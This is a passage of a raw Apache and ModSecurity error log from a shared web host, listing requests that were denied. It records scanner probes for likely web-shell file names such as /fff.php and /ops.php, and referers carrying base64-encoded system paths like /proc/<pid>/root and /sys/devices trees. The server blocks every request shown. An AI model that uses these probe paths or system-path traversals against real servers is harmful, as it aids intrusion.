"/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3w_MTA7b1mZrmcA-8R8wACji0"] [Sat Jun 13 18:08:28.023562 2026] [access_compat:error] [pid 531797:tid 531894] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://www.homs.co.ke/?p=L3Byb2MvNDY2MTQzL3Jvb3Q= [Sat Jun 13 18:08:28.023841 2026] [access_compat:error] [pid 531797:tid 531894] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://www.homs.co.ke/?p=L3Byb2MvNDY2MTQzL3Jvb3Q= [Sat Jun 13 18:08:28.027979 2026] [security2:error] [pid 531797:tid 532005] [client 191.233.234.186:44702] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 186.234.233.191.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webdisk.peoplecapitalglobal.com"] [uri "/fff.php"] [unique_id "ai3w_MTA7b1mZrmcA-8R9QAAAh0"] [Sat Jun 13 18:08:28.109734 2026] [security2:error] [pid 531797:tid 531925] [remote 17.246.15.155:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 155.15.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3w_MTA7b1mZrmcA-8R-AACMD0"] [Sat Jun 13 18:08:28.391576 2026] [access_compat:error] [pid 531155:tid 531203] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Mi9zdWJzeXN0ZW0vaW5wdXQyL3N1YnN5c3RlbS9ldmVudDYvZGV2aWNlL3Bvd2Vy [Sat Jun 13 18:08:28.391856 2026] [access_compat:error] [pid 531155:tid 531203] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Mi9zdWJzeXN0ZW0vaW5wdXQyL3N1YnN5c3RlbS9ldmVudDYvZGV2aWNlL3Bvd2Vy [Sat Jun 13 18:08:28.413201 2026] [access_compat:error] [pid 531155:tid 531228] [remote 57.141.14.63:29346] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:08:28.413494 2026] [access_compat:error] [pid 531155:tid 531228] [remote 57.141.14.63:29346] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:08:28.424059 2026] [access_compat:error] [pid 531797:tid 531988] [remote 57.141.14.100:26329] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:08:28.424326 2026] [access_compat:error] [pid 531797:tid 531988] [remote 57.141.14.100:26329] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:08:28.485028 2026] [access_compat:error] [pid 531155:tid 531211] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://mail.homs.co.ke/?p=L3Byb2MvNzQ5NDQ2 [Sat Jun 13 18:08:28.485305 2026] [access_compat:error] [pid 531155:tid 531211] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://mail.homs.co.ke/?p=L3Byb2MvNzQ5NDQ2 [Sat Jun 13 18:08:28.539211 2026] [access_compat:error] [pid 531797:tid 531936] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://www.homs.co.ke/?p=L3Byb2MvNDEzMzAwL3Jvb3Q= [Sat Jun 13 18:08:28.539588 2026] [access_compat:error] [pid 531797:tid 531936] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://www.homs.co.ke/?p=L3Byb2MvNDEzMzAwL3Jvb3Q= [Sat Jun 13 18:08:28.556763 2026] [access_compat:error] [pid 531797:tid 531991] [remote 57.141.14.55:24333] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:08:28.557035 2026] [access_compat:error] [pid 531797:tid 531991] [remote 57.141.14.55:24333] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:08:28.605571 2026] [security2:error] [pid 531155:tid 531403] [client 191.234.188.123:64628] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 123.188.234.191.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webmail.onemontgomerygreen.org"] [uri "/wp-act.php"] [unique_id "ai3w_CmiP80klyS0NnrqygAAAYA"] [Sat Jun 13 18:08:28.776067 2026] [access_compat:error] [pid 531155:tid 531210] [remote 57.141.14.31:47746] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:08:28.776344 2026] [access_compat:error] [pid 531155:tid 531210] [remote 57.141.14.31:47746] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:08:28.904411 2026] [access_compat:error] [pid 531155:tid 531158] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMi9zdWJzeXN0ZW0vZXZlbnQ0L3N1YnN5c3RlbS9ldmVudDIvcG93ZXI= [Sat Jun 13 18:08:28.904851 2026] [access_compat:error] [pid 531155:tid 531158] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMi9zdWJzeXN0ZW0vZXZlbnQ0L3N1YnN5c3RlbS9ldmVudDIvcG93ZXI= [Sat Jun 13 18:08:28.955984 2026] [access_compat:error] [pid 531155:tid 531227] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://mail.homs.co.ke/?p=L3Byb2MvNTMxNDkw [Sat Jun 13 18:08:28.956272 2026] [access_compat:error] [pid 531155:tid 531227] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://mail.homs.co.ke/?p=L3Byb2MvNTMxNDkw [Sat Jun 13 18:08:29.038412 2026] [access_compat:error] [pid 531797:tid 531974] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://www.homs.co.ke/?p=L3Byb2MvNzIwOTIzL3Jvb3Q= [Sat Jun 13 18:08:29.038882 2026] [access_compat:error] [pid 531797:tid 531974] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://www.homs.co.ke/?p=L3Byb2MvNzIwOTIzL3Jvb3Q= [Sat Jun 13 18:08:29.379484 2026] [security2:error] [pid 531797:tid 532104] [client 20.151.217.54:48637] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 54.217.151.20.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "mail.opryidaho.dennis-cooper.com"] [uri "/ops.php"] [unique_id "ai3w_cTA7b1mZrmcA-8SPAAAAn0"] [Sat Jun 13 18:08:29.452116 2026] [access_compat:error] [pid 531155:tid 531186] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMi9kZXZpY2Uvc3Vic3lzdGVtL2lucHV0Mi9ldmVudDIvZGV2aWNlL2RldmljZQ== [Sat Jun 13 18:08:29.452394 2026] [access_compat:error] [pid 531155:tid 531186] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMi9kZXZpY2Uvc3Vic3lzdGVtL2lucHV0Mi9ldmVudDIvZGV2aWNlL2RldmljZQ== [Sat Jun 13 18:08:29.526912 2026] [access_compat:error] [pid 531155:tid 531280] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://mail.homs.co.ke/?p=L3Byb2MvNTMxNDkx [Sat Jun 13 18:08:29.527181 2026] [access_compat:error] [pid 531155:tid 531280] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://mail.homs.co.ke/?p=L3Byb2MvNTMxNDkx [Sat Jun 13 18:08:29.573720 2026] [access_compat:error] [pid 531797:tid 531954] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://www.homs.co.ke/?p=Ly92YXIvc29mdGFjdWxvdXM= [Sat Jun 13 18:08:29.573998 2026] [access_compat:error] [pid 531797:tid 531954] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://www.homs.co.ke/?p=Ly92YXIvc29mdGFjdWxvdXM= [Sat Jun 13 18:08:29.632622 2026] [security2:error] [pid 531797:tid 531939] [remote 17.241.219.35:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 35.219.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3w_cTA7b1mZrmcA-8SSAACaEs"] [Sat Jun 13 18:08:29.938163 2026] [access_compat:error] [pid 531797:tid 531921] [remote 57.141.14.8:31159] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:08:29.938618 2026] [access_compat:error] [pid 531797:tid 531921] [remote 57.141.14.8:31159] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:08:29.972036 2026] [security2:error] [pid 531797:tid 531944] [remote 17.22.245.75:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 75.245.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3w_cTA7b1mZrmcA-8SXwACTlA"] [Sat Jun 13 18:08:30.005233 2026] [access_compat:error] [pid 531155:tid 531191] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ni9ldmVudDUvc3Vic3lzdGVtL2lucHV0Mi9ldmVudDIvZGV2aWNlL3Bvd2Vy [Sat Jun 13 18:08:30.005633 2026] [access_compat:error] [pid 531155:tid 531191] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ni9ldmVudDUvc3Vic3lzdGVtL2lucHV0Mi9ldmVudDIvZGV2aWNlL3Bvd2Vy [Sat Jun 13 18:08:30.075890 2026] [access_compat:error] [pid 531155:tid 531165] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://mail.homs.co.ke/?p=L3Byb2MvNTMxODAz [Sat Jun 13 18:08:30.076284 2026] [access_compat:error] [pid 531155:tid 531165] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://mail.homs.co.ke/?p=L3Byb2MvNTMxODAz [Sat Jun 13 18:08:30.079858 2026] [access_compat:error] [pid 531797:tid 531956] [remote 57.141.14.22:58050] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:08:30.080319 2026] [access_compat:error] [pid 531797:tid 531956] [remote 57.141.14.22:58050] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:08:30.127445 2026] [access_compat:error] [pid 531797:tid 531947] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://www.homs.co.ke/?p=Ly91c3Ivc2hhcmU= [Sat Jun 13 18:08:30.127894 2026] [access_compat:error] [pid 531797:tid 531947] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://www.homs.co.ke/?p=Ly91c3Ivc2hhcmU= [Sat Jun 13 18:08:30.244753 2026] [access_compat:error] [pid 531797:tid 531968] [remote 57.141.14.64:52344] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:08:30.245199 2026] [access_compat:error] [pid 531797:tid 531968] [remote 57.141.14.64:52344] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:08:30.263841 2026] [access_compat:error] [pid 531797:tid 531899] [remote 216.73.217.87:16924] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:08:30.264225 2026] [access_compat:error] [pid 531797:tid 531899] [remote 216.73.217.87:16924] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:08:30.295519 2026] [access_compat:error] [pid 531155:tid 531184] [remote 57.141.14.63:29356] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:08:30.295985 2026] [access_compat:error] [pid 531155:tid 531184] [remote 57.141.14.63:29356] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:08:30.530579 2026] [access_compat:error] [pid 531155:tid 531226] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMS9zdWJzeXN0ZW0vbW91c2UxL3N1YnN5c3RlbS9pbnB1dDEvaWQ= [Sat Jun 13 18:08:30.531028 2026] [access_compat:error] [pid 531155:tid 531226] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMS9zdWJzeXN0ZW0vbW91c2UxL3N1YnN5c3RlbS9pbnB1dDEvaWQ= [Sat Jun 13 18:08:30.544516 2026] [security2:error] [pid 531797:tid 531945] [remote 17.241.227.205:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 205.227.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3w_sTA7b1mZrmcA-8ShAACQVE"] [Sat Jun 13 18:08:30.569355 2026] [access_compat:error] [pid 531155:tid 531197] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://mail.homs.co.ke/?p=L3Byb2MvNTMxODAz [Sat Jun 13 18:08:30.569836 2026] [access_compat:error] [pid 531155:tid 531197] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://mail.homs.co.ke/?p=L3Byb2MvNTMxODAz [Sat Jun 13 18:08:30.654899 2026] [access_compat:error] [pid 531797:tid 531919] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://www.homs.co.ke/?p=Ly91c3Ivc2hhcmU= [Sat Jun 13 18:08:30.655321 2026] [access_compat:error] [pid 531797:tid 531919] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://www.homs.co.ke/?p=Ly91c3Ivc2hhcmU= [Sat Jun 13 18:08:30.702415 2026] [security2:error] [pid 531797:tid 532054] [client 216.73.216.241:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 241.216.73.216.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "mail.goldensnifferproducts.com"] [uri "/php52/ext/standard/tests/strings/sscanf_basic1.phpt"] [unique_id "ai3w_sTA7b1mZrmcA-8SjgAAAkw"] [Sat Jun 13 18:08:30.773041 2026] [security2:error] [pid 531797:tid 532005] [client 20.9.67.71:64688] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 71.67.9.20.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "mail.pedorthistontario.org"] [uri "/dccs.php"] [unique_id "ai3w_sTA7b1mZrmcA-8SkwAAAh0"] [Sat Jun 13 18:08:30.909372 2026] [access_compat:error] [pid 531155:tid 531160] [remote 57.141.14.113:28670] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:08:30.909832 2026] [access_compat:error] [pid 531155:tid 531160] [remote 57.141.14.113:28670] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:08:31.019643 2026] [security2:error] [pid 531797:tid 531927] [remote 17.22.253.157:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 157.253.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3w_8TA7b1mZrmcA-8SmwACOD8"] [Sat Jun 13 18:08:31.028666 2026] [access_compat:error] [pid 531155:tid 531240] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ni9tb3VzZTIvZGV2aWNlL3N1YnN5c3RlbS9tb3VzZTAvZGV2aWNlL3Bvd2Vy [Sat Jun 13 18:08:31.029128 2026] [access_compat:error] [pid 531155:tid 531240] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: 